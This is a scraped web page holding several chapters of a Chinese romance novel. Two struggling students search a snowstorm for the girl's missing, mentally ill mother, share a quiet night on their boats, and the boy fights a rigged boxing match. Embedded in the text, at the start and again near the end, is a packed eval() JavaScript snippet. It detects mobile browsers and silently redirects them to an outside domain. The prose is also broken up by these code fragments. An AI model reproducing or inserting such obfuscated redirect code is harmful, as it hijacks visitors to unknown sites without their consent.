l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444789|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后的那么一点点,我不是从基础开始学起,我的琴技是空中楼阁,总共弹得熟的两首,一首是《茉莉花》,一首是《D小调狂想曲》。” “对我来说,这样的两首足够了。我知道它们在关键时候能救我的命。” 终于,姜堇脸上最后一点妆容也卸去了,她变得素颜、无妆,瘦削的、看上去有一点点疲乏的,可肩背挺得很直,因而看出一种顽强的生命力。 她小小地叹了口气,又屏住,望着镜中陈列的那张脸、在镜中与陈列对视。 “陈列。”她说:“这就是我。” 她那样的语气,好似把自己的底牌亮给陈列看。 陈列心下震荡,一言不发地走上前来,把手里拎着的帆布包塞给姜堇,一言不发地走了。 - 之后,姜堇再没找过陈列。 偶在拳馆遇到,有人开玩笑说她是陈列的小女朋友,她不承认、也不反驳,一笑了之。 陈列心中有种感觉,在他这样的回避之下,也许他和姜堇这段莫名的关系,就到此为止了。 街道上的圣诞氛围越来越浓,陈列每晚下了晚自习坐公交车回家时,望着窗外闪烁的暖黄灯球。 他不理解节日的意义。从小到大节日都是别人的,同他什么关系也没有。 班里女生开始讨论:“今年圣诞会下雪吗?” 叶炳崐也一脸憧憬地跟着议论:“今年圣诞会下雪吗?”大抵想约秦筱婷出去玩。 又问陈列:“列哥,你圣诞节怎么过啊?” 陈列低沉地笑了声。 过节?别说圣诞这种八杆子打不着的洋节,就算元旦、春节,他只想着能躲一天是一天,不要被追债的人发现就好了。 圣诞节那天是周五,天色阴沉得似能拧出水来。 这种特别日子,人人却为这阴霾天色而兴奋:“有机会下雪的吧?” 下午三点,当第一片雪从灰暗中飘落,接着簌簌的越来越密,教室里爆发出一阵热烈的欢呼声。老师在讲台上拍桌子:“你们好歹也收敛一点!知道你们想出去玩,可现在还没下课呢!” 到了这天晚自习,能请假的想方设法请假,不能请假的翻墙出去,教室里上晚自习的人骤减三分之一。 老师们大抵也怕把学生逼得太紧会出心理状况,也就睁一只眼闭一只眼了。 叶炳崐的座位空了。倒是陈列难得还留在教室里。 晚自习下课,他走出校园的时候一路蹙着眉,显出明显的不耐烦。 雪越来越密,渐渐有在路边堆积的架势。对想要过圣诞节的情侣和准情侣们来说是浪漫,对陈列来说只觉得麻烦,连回河畔的公交车上也变得比平时多一倍人,变得挤挤攘攘的。 这种不耐烦一直持续至陈列回到船舱还没消退。 一路冻得手冷,他仰躺在木板上压着自己双手,想着方才公交车上,两个女生笑着交换红彤彤的苹果。 圣诞便是这样的节日,制造满目的红来让人觉得馨暖。陈列这段日子所见让人觉得馨暖的红,却只有姜堇那双起了毛球的毛线红手套。 脑子里漫无边际过着思绪,还未起来洗漱,不知怎地就睡了过去。 再睁眼的时候,先是耳廓里明显钻入一阵呼啸的风声,尖锐刺耳,船身也飘飘荡荡的。这样的风声之下,漫天的雪不知已下得多大了。 周围黑漆一片,陈列本以为自己是被风声吵醒的,静了一秒,却听见风声中有三下敲击船舱门的声音,咚咚咚。 显得急切,却仍保留了那三下一停的频率。那是姜堇。 陈列心头一凛,下意识先抓过床头手机看了眼,凌晨两点四十。他一跃而起拉开船舱门,姜堇见他开门反而呆了一下。 她站在一片风雪里,拇指指腹般的硕大雪片黏满她的一头长发。她看上去在睡觉,长袖长裤的睡衣外罩着那件褪色的淡粉羽绒服。 大概因为船舱内无暖气,她睡觉的时候也戴着那双半截露指的红毛线手套。脚底却没穿袜子,光着脚,还穿一双夏天的凉拖鞋。 陈列蹙眉叫她:“姜堇,怎么了?” 姜堇冻红的唇冻了下,没说出话。 陈列又叫她一声,音量放大,盖过漫天风雪的声音:“姜阿堇!” “是我妈妈!”姜堇蠕动着双唇说:“我刚刚接到医院打来的电话,查房的护士说,她半夜从病房里跑走了。” “她怎么还会偷护士的门禁卡呢?”姜堇说:“监控只拍到她出了医院,接下来路口的监控坏了,没人知道她去哪了。” 姜堇看上去很冷静,可她双唇在瑟瑟不停地抖。 陈列进船舱拎了件棉服,说:“走。” 姜堇转身就想跑。 陈列自身后拉住她。 她不明就里回头看了陈列一眼,一双小鹿般浅棕色的瞳仁里泛着迷茫的光。陈列拉着她,迈上她那条船的甲板,又拉着她走到她那双运动鞋边:“换鞋。” 姜堇的一双眼仍是迷茫。 陈列放柔了一点语调,一张嘴,感觉铺天盖地的雪片钻入他唇间,凉薄的。他用那一点点温柔的语调唤她:“阿堇,换鞋。” 22. 圣诞夜 姜堇换鞋时仍是迷茫神色,只不过跟着陈列走时,她脚步又碾快了些,赶到陈列前面。 两人先是打车去了医院。 监控是从医院门口开始失踪的。两人先在医院门口兜了圈,没寻到什么线索,又一家家钻进路边尚且开始的二十四小时便利店去问。 总算有家看到过一个穿病号服的女人。 陈列站在姜堇侧后方半步以外的位置。她的鼻尖冻红了,唇却在对比之下呈出一种格外的苍白,唇瓣不抖了,变作睫毛颤巍巍地抖,雪片挂在她的发尾眉梢,就连纤长的睫毛尖也黏了小小一片,又被便利店内的暖气催化。 变作一滴眼泪。 可姜堇这样的人,不会流眼泪。 她只是抿唇跟陈列一起出去,脚步匆匆的。圣诞节的夜晚,庆祝的热闹经久不散,唯独医院周遭的街道,因缠绵的病气陷入一片静寂。灰淡的水泥路面,灰黑的砖墙,矮矮的围出窄巷,两人在巷内仓皇地奔走。 几条街道外,欢庆的喧哗声传来,很渺远,给人的感觉像是浮在外太空、隔着宇航服的玻璃罩子看地球。 陈列的手机响了。 他摸出来看了眼,是叶炳崐。他不知出于何种想法接了起来,也许注意力全都集中在找人这件事上,摁下接听键是一个惯性反应。 他不出声,叶炳崐在那边“喂喂”了两声,开始叫他:“列哥!” 没听见他回应,又问:“列哥,我们还在酒吧呢,朋友开的,你要不要来玩啊?” 凌晨三点多摇人去酒吧玩,叶炳崐的声音带醺然酒意、明显是喝多了。他那端,传来女孩们轻灵的笑声,驻唱歌手吟唱的声音。 让人联想起往屋顶升腾的气球,爆米花,轻盈飘落的礼花纸屑、开开心心落了人满头。 陈列也不知出于何种原因,一时间没挂电话。 他沉默握着手机在窄巷里奔走,姜堇脚步匆匆跟在他身边。两人身上都穿着睡衣,胡乱裹了棉服外套,乱七八糟搭一双运动鞋。 他们的周围没有热闹,只是一片死寂。他们的头顶没有礼花纸屑,只有混乱的雪片挂了满头。 陈列一言不发地挂了电话,快走两步,伸手,在姜堇头顶摁了一下。 姜堇回头,眼底仍是迷茫神色,也许她是刻意让迷茫盖过自己的恐惧、焦灼、忧苦。她睁着小鹿般的眸子望着陈列,感受着陈列的掌心有融融的暖意、自她头顶传来。 陈列没说旁的什么,只说一句:“走了。” 便又大跨步地向前走去。 陈列很清楚天色是如何由暗转亮的。 以前被人逼债的时候,整夜整夜地不让睡觉,一双布满红血丝的眼睁到天明,整个人惶惶陷入一种晕眩。 天渐渐亮起来的时候,你首先感到的不是光亮,而是灰。四周如有茫茫的灰雾一般在天地间铺开,自人的脚踝处漫延上来。 陈列掏出手机看了眼时间,那时是五点五十。 身边的姜堇忽地停下了脚步。 陈列先是不解地看了她一眼,又顺着她视线看去,才看到街边公园的一方戏台上,白柳絮站在那里。 那本是市政打造的一处公共设施,有亭台楼阁,有仿古意的戏台。年节日或许会在此安排一些文艺演出,附近的居民围拢过来观看。 但这样的一夜暴雪后,不到清晨六点,这里空无一人。 飞檐之下,只有白柳絮一个人穿着病号服站在台上,摆着戏曲里的掠眉指,一个转身间抬手的韵律,似有水袖翩飞。 姜堇一言不发地走过去。 陈列跟在她身后。姜堇并没有上台,而是站在台下仰头望着自己的母亲,好像白柳絮还是多年前戏剧行当里的旦角,姜堇是她唯一的观众。 陈列从姜堇身上收回眼神,跟着往台上望去。 白柳絮只穿一身病号服,眼尾眉梢都被冻红,似扑了胭脂。她唱起戏来,叫人发现她的眉眼真要比姜堇妩媚许多,自有股风流的韵味。 走到这样近的距离,才发现她没穿鞋,光着脚走了这么远的路,她又不懂得避让,一双脚被划得血迹斑斑。陈列不知她年轻时唱戏的功底如何,只是吃了这么多年药,她的嗓子全坏了。 陈列隔得远的时候,还当她是摆着戏剧身段没唱出声。要走得这样近了,才能听见她原来用一把暗哑的嗓子在低低地唱: “想幽梦谁边,和春光暗流转?” 直到她一曲终了,姜堇走上台去,轻轻叫她一声:“妈。” 白柳絮眼神有一瞬的惘然,瞧清了姜堇,忽而盛怒起来,翘着指尖指着姜堇骂:“小妖精!你一个唱戏的是什么出身,难怪只会勾引男人!” 她又把姜堇当成了年轻时的她自己,把年轻时遭遇过的那些辱骂尽数倾倒在姜堇身上。 压着未落的话音,手腕灵活地一转,重重地扇了姜堇一巴掌。 陈列吃了一惊,快步走上舞台去,但看姜堇却有种习以为常的平静,带着一脸的指痕站在一边,睫毛微垂着,想要脱下自己的羽绒服给白柳絮套上。 陈列先她一步脱下自己的棉服,裹在白柳絮身上,问她:“我背你回去,好不好?” 他的语调低沉而冷静,不似在哄一个精神病人,而似在对一个正常人说话。 不看见姜堇那张脸的时候,白柳絮情绪要平静得多,她点了点头,陈列便转过身勾下腰,把她背在自己的背上。 姜堇便不再说话了,沉默地跟在后面,不叫白柳絮再看见她。只是把陈列的棉服往白柳絮肩头拎了拎,让白柳絮披好。 这时是清晨六点。 渐渐地,巷道里有早餐摊开始出摊了,下了整夜的雪渐渐停了,变成灰墙边的雪堆。早餐摊主看一眼这一行奇怪的三人,但人人都要为自己的生活奔忙,也就收回了视线去。 他们仨在巷子里静静走着。 陈列的手机在棉服口袋里“滋”、“滋”地震起来。 姜堇跟在后面问:“要接么?” “你看是谁。” 姜堇便把手机从棉服口袋里摸出来,看了眼:“叶炳崐。” 陈列默然一瞬:“接。” 白柳絮已趴在陈列背上睡着了。姜堇摁下接听键,把手机贴近陈列耳边。 叶炳崐先是嘿嘿傻笑两声,叫一声:“列哥。” “我是不是半夜打电话给你叫你出来玩来着?不好意思啊我喝多了。我现在也不是故意打电话吵醒你的啊!你待会儿到了学校可别打我。” “但我身边都是帮混球,这话我不跟你说我还真找不着人说。我刚把秦筱婷送回家,在她家小区门口坐着,买了一屉小笼包都吃不下去,觉得心里胀鼓鼓的……” “你可别当我是那种臭流氓啊,我什么都没干,她平时家里管得严,我就是陪她喝那些小甜酒,喝多了就看着她傻笑。可是列哥,”叶炳崐说到这里吸了一口气,声音里盈满笑意:“这真是我过得最好、最好的一个圣诞节。” “你呢列哥,你的圣诞节过得怎么样?” 陈列没应声,扬了扬下巴,示意姜堇把电话挂断。 姜堇把手机轻轻塞回陈列的棉服口袋,又拖慢两步,变成跟在陈列和白柳絮的身后。巷道里出摊的渐渐多了,一家早餐摊堆着高高的笼屉,冒出热腾腾的白气。 陈列在心里回想刚刚叶炳崐的那句话——“最好、最好的圣诞节”。 这固然算不上陈列过过的一个好的圣诞节,毕竟他们像疯子一样奔走了整夜。 但很久以后回想起来,陈列却也没觉得它很糟。 他甚至有些怀念。怀念这个暴雪之后的清晨,白柳絮安然在他背上沉睡,是一种令人踏实的重量。陈列从没有机会背过自己的母亲,他不知道是不是所有的母亲背起来,都是这样一种令人踏实的重量。 姜堇跟在后面。陈列看不见她,却能听见她的脚步,细细碎碎的,也很实在。 走了一半的时候,白柳絮醒了。 她现下的心智有些像小孩,所有情绪都是急停急起。这会儿一瞬不耐烦起来,问陈列:“还有多远?” 上手便要来揪陈列的头发。但陈列是寸头,她又揪不起来。 姜堇轻声说:“等我一下。” 便往路边跑去。 陈列本以为她是往早餐摊去,没想到她很快回来,手里拿了包曲奇饼干。撕开包装,拿出一块黄澄澄的曲奇问白柳絮:“你要吃吗?” 白柳絮平时要吃药,是不能摄入过多糖分的。这时一块稀奇的饼干,显然吸引了她的注意力,让她甚至没对姜堇的那张脸大发雷霆。 她把饼干抢了过去,姜堇柔和地说:“只能吃一块。” 白柳絮高兴了,趴在陈列背上,慢慢用门牙咬着那块饼干。 陈列只穿着睡衣,明显感到饼干的碎屑掉落到自己后颈上。 一路走回医院,姜堇去找医生领罚挨骂。 白柳絮这样的情况,不得不又转入一段时间的特护病房。 姜堇走出医院的时候,发现陈列在公交车边等她。 穿一身睡衣,黑色棉服,双手插在棉服口袋里,酷得有些另类。即便如此,姜堇也能看到过往的一些姑娘在悄悄打量他。 她朝陈列走过去,手里攥着刚刚给了白柳絮一块的曲奇饼干袋,扬了扬问陈列:“吃么?” 陈列摇摇头。 她便不说话了,和陈列分站在公交站牌的两侧。 直到回河畔方向的公交开来,两人一前一后地上了车。 姜堇找了个靠窗边的位置坐下,陈列跟在她身后。她本以为陈列会和以往每次一样、挑她身后几排的空位坐下,是以当陈列在她身旁坐下时,她有些诧异地看了陈列一眼。 陈列没看她,双手还插在棉服口袋里,目光平平地望着最前的挡风玻璃。 姜堇也收回了视线,扭头去看窗外。细长的手指把曲奇袋口拧成一股,又在指尖绞啊绞。 直到下车,两人回到各自的船上。 陈列洗漱,换上一身校服,走出船舱的时候没看见姜堇,便自己先乘公交往学校去。 再见姜堇是第一节的课间。他被叶炳崐拽着轧走廊讲心事,姜堇和杜珉珉站在一班教室外,雪后初晴的天,阳光洒落在她脸上。 杜珉珉在问:“姜堇,你记忆最深的圣诞节怎么过的呀?” 姜堇微笑着答:“十二月的圣诞节,毛里求斯正是盛夏时节。记得有一年我在毛里求斯和我爸妈过圣诞,我们在一艘蓝色潜水艇里领略海底世界,鱼群就在我们身边畅游。再接着我们穿着泳衣,我爸去冲浪,我妈和我在白色的沙滩上晒太阳,阳光很暖,天是一种透彻的蓝……” 杜珉珉捧一捧自己的脸:“哇,真好。” 姜堇随着自己的讲述,笑容也渐浓了几分,好像真正坠入那样美好的回忆里去。 哪怕那只是假象。哪怕她真实的圣诞节,是穿着睡衣蓬头垢面在街上狂走,找回自己发疯的母亲。 陈列对着姜堇的脸多看了一眼。 姜堇对白柳絮扇她一巴掌这种事好像已经习以为常了。脸上几道明显的指痕,被她抹了遮瑕,已看不出什么了。 陈列收回视线。 直到晚上放学,姜堇回到自己的船舱,刚写完作业,舱外有人敲门。 她听出那是陈列,开门,陈列拿着把小铁锹站在门外:“河面结冰了,船底要处理一下,不然会被冻裂。” 姜堇点一下头,他说:“那我去了。” 姜堇跟着他走下船,他穿一 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很快,一股香甜中带一丝焦苦的气息。 陈列坐在旁边一张小凳上,看一眼矮桌上那只蓝色盒子。上面写着SwissMiss,是巧克力粉。 姜堇盛出两碗热巧克力——她没什么像样的杯子,便用碗盛,让热巧克力显得有些不伦不类的。 半开玩笑说一句:“要不是为了报答你,我是舍不得煮这个的。” 她自己也捧了只蓝瓷碗,坐到那张既当沙发也当床的木板上。 下过雪的河畔湿冷得惊人,姜堇还穿着白日里的校服和棉衣,不过已戴上了那双半露指的红毛线手套。 陈列端着碗喝一口热巧克力,融暖落胃,肩膀都舒张开来。他这才发现,先前他因为冷而浑身紧绷。 这样巧克力的香气里,很容易让人联想起木柴毕拨作响的壁炉,那是一种令人安心的白噪音。 这里没有木柴、炉火和壁炉,只有船体轻摇撞着河畔枯草的细碎声音,竟也奇异地令人安心起来。 姜堇放松地呵出一口气来。 陈列发现,他和姜堇待在一起的情景都摇摇晃晃的。无论是在船上,还是公交车上。 姜堇指一指矮桌上的曲奇饼干袋,问陈列:“吃么?” 陈列摇摇头。 姜堇便自己勾腰,从袋子里取出一块饼干来,小小地咬了一口,跟陈列说:“我本来想买小时候那种曲奇饼干,就是我给你的饼干盒子那种,但现在已买不到了。” 在巧克力香浓的气息里,在船身摇摇晃晃的节律里,她的声音很悠远,像讲起很久以前的往事: “我妈妈以前是昆剧班的,唱旦角。但她不是什么角儿,”姜堇说着笑了声:“她没唱出什么名堂来,永远都是B角,只要A角在就没她登场的机会。” “后来她认识了一个姓姜的公子哥,他捧了她几出戏,但那时她已沉醉在他的温柔乡里,没抓住机会。直到她怀了孕,才发现他早已有门当户对的未婚妻。” “姓姜的让她把孩子打掉,给她一套房再加两百万,从此两人一刀两断。结果我那傻妈妈,怀着孕一个人跑了。”姜堇唇边勾出嘲讽的笑意:“她竟然觉得她是真的爱他!是不是很傻?” “她一个人把孩子生了下来,也就是我。再后来,她一个人日子过得凄苦,不是没有再婚过,但我继父是个酒鬼,又爱打牌,每次输了钱喝多了酒,便回家来打砸,还会打她。” “我妈便带着我跑出去。”姜堇唇边的那抹笑意不褪:“我们没有地方可去,也没有亲戚朋友收留我们,我妈的钱更不够住旅馆,就牵着我在街上漫无目的地走。” “那时我才四五岁,她怕我哭闹,每次跑出来前,便拿一块曲奇饼干塞我手里。我对童年的印象,便是街道上摇晃的路灯,路边人家传来的狗叫,还有手里曲奇饼干回潮的香甜。” 姜堇说着,慢慢咬一口手里的曲奇饼干,然后笑着跟陈列说:“不是现在这个味道。” 她问陈列:“你说我继父那样打我妈,是不是因为她始终坚持让我姓姜?” 陈列:“我不知道。” “她可真傻。”姜堇喃喃道。两人的影子被昏黄的吊灯拖拽到船舱上,跟着船身一同摇摇晃晃,如同燃起篝火的山洞里,是很适合讲故事的氛围。 姜堇说:“到我上初中的时候,我继父死了,喝酒猝死的。后来,我妈就疯了,有人说是因为我继父打她撞到了脑子,所以才疯的。” “只是她对跟我继父的那段日子全无印象,只记得年轻时候的往事。” 姜堇吃完了那块曲奇饼干,捻一捻指间的碎屑,问陈列:“你知不知道我妈今天唱的那段戏是什么?” 陈列摇头。 姜堇小小声地唱了两句:“想幽梦谁边,和春光暗流转?” 她的声音和白柳絮很不一样,就像她的五官细看来也跟白柳絮很不一样。白柳絮更媚,而她更清冷。这样莺声婉转的唱词由她嘴里出来,竟有股淡淡哀愁的意味。 她说:“这是《牡丹亭》。你知不知道《牡丹亭》讲的什么故事?” 唇边嘲讽的笑意又起:“讲一个女人爱上一个男人,想他想死了,最后竟又为了和他重逢、死而复生。你说荒不荒唐?” “我妈就是这样一个荒唐糊涂的女人,她自以为那是爱,就这样稀里糊涂地过了一生,人生不停地往下跌。”姜堇捧着蓝瓷碗,唇边的笑意褪去了:“陈列,你放心。” “你是一个没心力谈感情的人,我是一个最厌恶谈感情的人。” 她清透的双眸平静地直视陈列:“所以你放心,我不会喜欢上你的。” 23. 温热 陈列默然无语,下意识的反应是又喝了口巧克力。 巧克力微有些凉了,仍是甜的,只是腻在唇齿之间。 陈列用舌尖挂过,放下碗,手伸进棉服口袋里,掏出一沓红钞来递给姜堇:“你妈转病房的钱。” 又说:“要还的。” 姜堇接过钱,笑了笑。 她低下头,又用那条洁白的发缝对着陈列,一张一张地数着那些红钞。 陈列知道,她并不是想数那些钱有多少。而是此刻,陈列主动递出的这沓钱变成了某种佐证,象征陈列无论如何回避,最终还是接住了她主动抛出的绳索。 而陈列把这些钱塞进自己口袋的时间,甚至在姜堇的这番讲述之前。 陈列缄默坐着,望着姜堇唇角的笑意,心里坠坠沉沉的,竟是和他不满二十的年纪颇不相称的、某种认命之感。 遇到姜堇,他认了。 当下仍是冷声冷气地问姜堇:“笑什么?跟我绑在一条绳上,你当是什么好事?” 他还被那些讨债的人追着,简直是尊泥菩萨。 姜堇摇了摇头,没说话,仍是那样笑着。 她那样的笑容,让陈列想起今晨白柳絮落在他后颈的饼干碎屑,细细的,痒痒的。陈列勾腰,自己也从袋子里摸了块曲奇饼干出来,在齿间咬碎。 然后站起来:“我走了。” “嗯。”姜堇跟着站起,送他到舱门边。 他钻出去,回眸看了姜堇一眼,想说点什么,又不知说什么,只是冲姜堇一点头,转身走入了夜色中。 - 两人的关系较之以前是有了不同。 陈列确切的感受到这一点,是在一班教室外的走廊上。 姜堇站在那里淡笑着跟杜珉珉聊天。陈列被叶炳崐勾着肩路过,姜堇似全神贯注地望着杜珉珉,只是眼尾朝陈列看过来,在陈列看向她的瞬间,两人眼神倏地一碰,又各自飘走了。 无论是杜珉珉还是叶炳崐,谁都没有注意到他们对视的这一眼。 如果说以前是陈列不情不愿、不清不楚的与姜堇结盟,在陈列“认命”以后,两人的关系反而松弛下来。 陈列一生未曾与人同路,他也不知与这和他境况相似、心境却迥然不同的女孩能同路多久。 也许到高中毕业的那一天?两人各奔东西。 就先一起走下去吧,既然总有分道扬镳的那一天。 陈列的精神比刚来江城时要松弛了些,在成功甩脱了几次追债的人以后。这具体表现在,体育课上,他开始上场打篮球了。 叶炳崐在球场上的表现典型是“又菜又爱撩”,明明准头极差、又常被人抢断,偏偏一直举着手管陈列要球:“列哥,这边这边!” 陈列被他吵得头疼。 打完三对三的一场对抗赛,也就下课了。 有其他班级跟十一班同上体育课。陈列在篮球架边拎着校服衣领扇风、很随意一个抖腕把篮球扔进收纳筐的时候,别班女生红着脸走过来。 叶炳崐一看她手里的可乐就懂了:“不是我说妹妹,到现在你还不知道呢?送给列哥的水都是我代收,我只喝可口可乐,你这拿瓶百事过来,叫我怎么收?” 女生懵了下,顺着他的话头答:“学校食堂的可口可乐卖光了,只剩百事。” “什么?”叶炳崐哀嚎一声:“老天是想让我今天渴死在这么?” 陈列没搭理他,回教学楼去洗手。 洗手间人多,陈列懒得挤,倚着走廊发了半晌的呆,待下一节课的铃快打响、人都散得差不多以后,他才进去洗了手。 走出来的时候,被什么人在楼梯转角处堵住,什么东西冰冰凉凉地贴住他侧颊,吓他一跳。 定睛瞧见是姜堇,穿校服,扎马尾,素净的一张脸带笑意。贴上陈列侧颊的,是她手里一瓶冻过的可口可乐。 她把可乐递过来:“给。” 陈列虽不像叶炳崐那样爱叫嚷,但他如果喝可乐也只喝可口,姜堇看见过几次。 陈列先是蹙了下眉:“哪来的?” 刚刚叶炳崐跟送可乐的女生发生对话时,陈列看到姜堇抱着书从操场边的铁丝网外走过。 姜堇说:“一个男生给我的。” 陈列:“为什么给你?” 姜堇的唇角往上扬了扬:“你说呢?” 陈列缄口不言,接过可乐拧开,往嗓子里灌了大口,直接喝掉小半瓶。 姜堇看着他喝可乐。真不知男生为何这样怕热,明明今冬是罕见的极寒天气,不过打了场篮球,就跟盛夏沙漠里走过一遭似的。陈列从洗手间出来时明显拿凉水洗过头脸,一头的寸发像毛茸茸的刺猬,倔强的根根直立着,看上去手感很好的样子。 姜堇忽然问:“我能摸一下你的头么?” 陈列惊了:“你说什么?” 姜堇微一压下巴,真的笑了。 陈列拧上瓶盖。他流畅的下颌线边还挂着水珠,愈发衬得一双黑沉沉的眼凌厉而清亮,喉结也锋利,刚刚他大口吞咽可乐时随之起伏。 姜堇对着他喉结看了眼。 陈列问:“你怎么在学校跟我说话?” 姜堇反问:“为什么不能说?” 陈列怔了下。是没人规定,但陈列心中默认了他跟姜堇树立出的“人设”就该是不认识的。 一个住在臭河水畔破船上、被人追债的、毫无前途的小混混。 和一个父母在毛里求斯经商的、家境优渥成绩出众的、会弹钢琴会说英音的大小姐。 姜堇说:“别那么紧张,上课铃都打了,没人会看到。” 陈列:“上课铃都打了你不回教室?” 姜堇又笑了:“我成绩好啊。” 一转身,轻盈地走回一班教室去了。 今年元旦的三天假期,元旦节那天居中。 一中高三本来计划放一天假,但有学生家长给教育局打电话投诉,说学校给学生的压力太大,便又调整回本来的三天。 拳馆的老板娘先就跟陈列打过招呼,说元旦假期有一场重头赛。 陈列的对手,是专业拳手退役,伤了左腿韧带后不能再打了,可出拳极为凌厉,在拳馆人称“老鹰”,只在年节的时候出来打一场,赚够了钱又回去颓着。 老板娘问陈列能不能打,奖金较平时高出许多,陈列应了下来。 从前陈列打拳不是为了钱,他爸欠下的那些烂账横竖他也还不上,更架不住他一边补窟窿、他爸一边捅窟窿。 他赚的钱够他自己的学费和生活费就行。打拳于他而言,纯是一种发泄。 现在他想赚钱么?赚钱给姜堇?连他自己都说不清。 姜堇知道他应下这场比赛,没说什么,只在他换了拳击短裤准备上台前,提了句,说“老鹰”打拳挺阴的。 陈列笑了声。那是姜堇第一次看他那样笑,唇角往上拎,有种对一切都浑不在意的不羁和痞气。 他问姜堇:“你不会是在担心我吧?” 姜堇抿了一下唇,说“不是”。 有卖酒女郎看见两人在拳台边说话,过来勾住姜堇的肩,暧昧语气:“怎么着妹妹,给男朋友加油打气呢?” 姜堇不再看陈列,望着那名卖酒女郎笑:“是啊。” 她眸子里有一瞬闪亮的色彩,不知是拳馆顶灯的反射,还是她清透的双眼本来就如玻璃球。 陈列登台。 “老鹰”已是个中年人了,身材不壮,却依稀能看出年轻时的底子。头发有些长,垂在眼前,依稀露出阴鸷的眼神。 陈列说得自傲一点,在拳馆没怎么尝过败绩。 等“老鹰”第一下出拳的时候,他就知道今天悬了。 他的拳是生活里磨砺出来的,过往艰难的生活左边一刀、右边一刀,把他的拳雕琢成如今锋锐的模样。 他从未见过像“老鹰”这样的拳手,出拳比他更简练,也更锋利。 陈列凭借小半年来攒下的经验,左右晃动着躲过几招,终于被“老鹰”一拳砸中眉骨。他感到什么温热的液体顺着眼睫淌下。 他看了“老鹰”一眼,明显感到自己眉骨不是被拳头砸破的,而是被一道锋利划破的。 老鹰的拳套间寒光一闪,陈列反应过来,那里藏了枚小小刀片。 过往的生活让他在电光火石间明白了局势:“老鹰”这是在专业拳台上学会的阴招,而老板娘默许了他的作为,因为这样打起来更精彩。 陈列不再言语,沉默一个躲闪,向他出拳。 也许这是陈列第一次尝到被人击倒在拳台上的滋味。 脑子里嗡声一片,嘈杂人声变作外太空的来音。他侧脸贴着拳台地板,说不上疼,只觉得晕眩。旁边有人在拿拳拍他旁边的地板,劝他放弃吧,输给专业拳手不丢人。 也有人催他继续,“老鹰”在拳馆就没输过,一定要有人给老鹰一个教训。 在这一片的喧杂中。 陈列听见有人轻轻地叫他:“陈列。” 他在一阵晕眩中,用手轻轻地支了下地板,却没能战得起来。 他看到姜堇穿红裙的单薄身影在他眼前晃了下,像从鼓肚子的玻璃杯里看到的变形影像。随随即他又觉得那是自己的错觉,因为姜堇的声音是从他身后响起的。 姜堇轻轻地说:“陈列,站起来。” “无论如何,陈列,站起来。” - 陈列不知那天是如何赢下比赛的。 人群爆发出激烈欢呼的时候,他只觉得脑子里的晕眩与倒在地上时无异。裁判在一旁数秒,“老鹰”爬起来坐在地上,往边上啐出口血沫,挥手表示自己站不起来了。 陈列走下拳台,老板娘走过来,快要过年了,她黑色的指甲油换成了桃红色,递给陈列一沓更为鲜艳的红钞。 陈列把那些钱揣进口袋,沉默往更衣室走去。 老板娘在他身后问:“喂,明年还打吗?” 他扬起手来挥了挥,那意思不知是打还是不打,亦或他自己也不知道。 陈列拧开水龙头,不甚在意地用清水把脸上的伤口冲了冲。回到更衣室,他没急着更衣,坐在凳子上勾下腰,披着件棉服,手里握着手机。 更衣室灯光昏茫,手机屏幕的光线映亮他的脸。 有其他拳手进来同他打招呼,他扬了扬下巴算是回应。 明天便是元旦,今晚的人来得多、散得也快,很快整座拳馆陷入一片静谧。 姜堇走进更衣室来的时候,陈列还握着手机,保持着先前那样的坐姿。 姜堇穿着火焰般的红色短裙,抱着白皙双臂,倚在门框上唤他:“陈列。” 陈列又盯着手机看了许久。 才抬起眼眸往姜堇的方向看过去。 以至于他望着姜堇的脸时,眼前还浮着刚刚手机屏幕上的两条信息,和姜堇的五官叠化在一起。 两条都是他爸发来的。 第一条是:[幺儿,新年快乐。] 第二条是:[能不能给我打两万块钱,应个急。] 这样的场景在陈列过往的生活里,不知发生过多少次。 他爸是一个四十多岁的成年人,管他一个十多岁的孩子要钱。每每要债的人逼上门来,他爸从来都一跑了之。 本来收到[幺儿,新年快乐]这条信息时,陈列心里动了一下。 这好像是他爸第一次跟他说新年快乐。 可是五分钟后,当那条要钱的信息发过来,陈列笑了。 他怎么会这么蠢?换了手机号还想方设法地告诉他爸一声。 他无比随意地把手机扔到一旁,站起来开始换裤子,背对着姜堇,长裤穿了一半,扭头过去盯着姜堇:“别看。” 姜堇也转过身去背对着他:“谁看你了。” 在他穿裤子的窸窣声中,他问姜堇:“找我干嘛?” 姜堇细细的手指在门框上涂画:“哦,要过元旦了,问你要不要去医院看看我妈。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452633|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陈列把棉服套在身上,走过姜堇身边:“走吧。” 两人乘公交去了医院。 公交车上,陈列把口袋里的钱掏出来递给姜堇。他掏钱的动作那样随便,甚至带着某种厌恶,好像钱对他来说真是不值一提的东西。 姜堇看了眼,说:“我妈这段时间的医药费够了。” 陈列:“给你钱你还不要?那你找我干嘛?” 姜堇抿唇笑了下:“放长线,钓大鱼。” 陈列跟着挑了下唇,眼神却沉沉的没笑意。他没再说什么,又把钱无比随便地塞回口袋。 下了公交,他钻进路边一家甜品店。 姜堇跟进去,问他:“你干嘛?” 他问店员:“现在还有蛋糕么?” 店员:“订做肯定是来不及了,只能买现成款式的。” 姜堇在后面拉了他胳膊一下,小声问:“你到底干嘛?” 陈列依然对着店员说话,指了指柜台里最大的那只十寸蛋糕:“把这个装起来。” “等等。”姜堇的声音扬起来,当着店员的面又问陈列:“你到底买这干嘛?” 因为要来医院,刚刚等陈列的时候,她在拳馆把脸洗净了,衣服也换了。 此时仰着张素白的面孔,真像个要替男朋友管住钱财的小女朋友。 陈列反问:“不是要去看你妈吗?” 姜堇:“我妈在吃药,不能吃甜的。” 陈列又转向店员:“有无糖的么?” 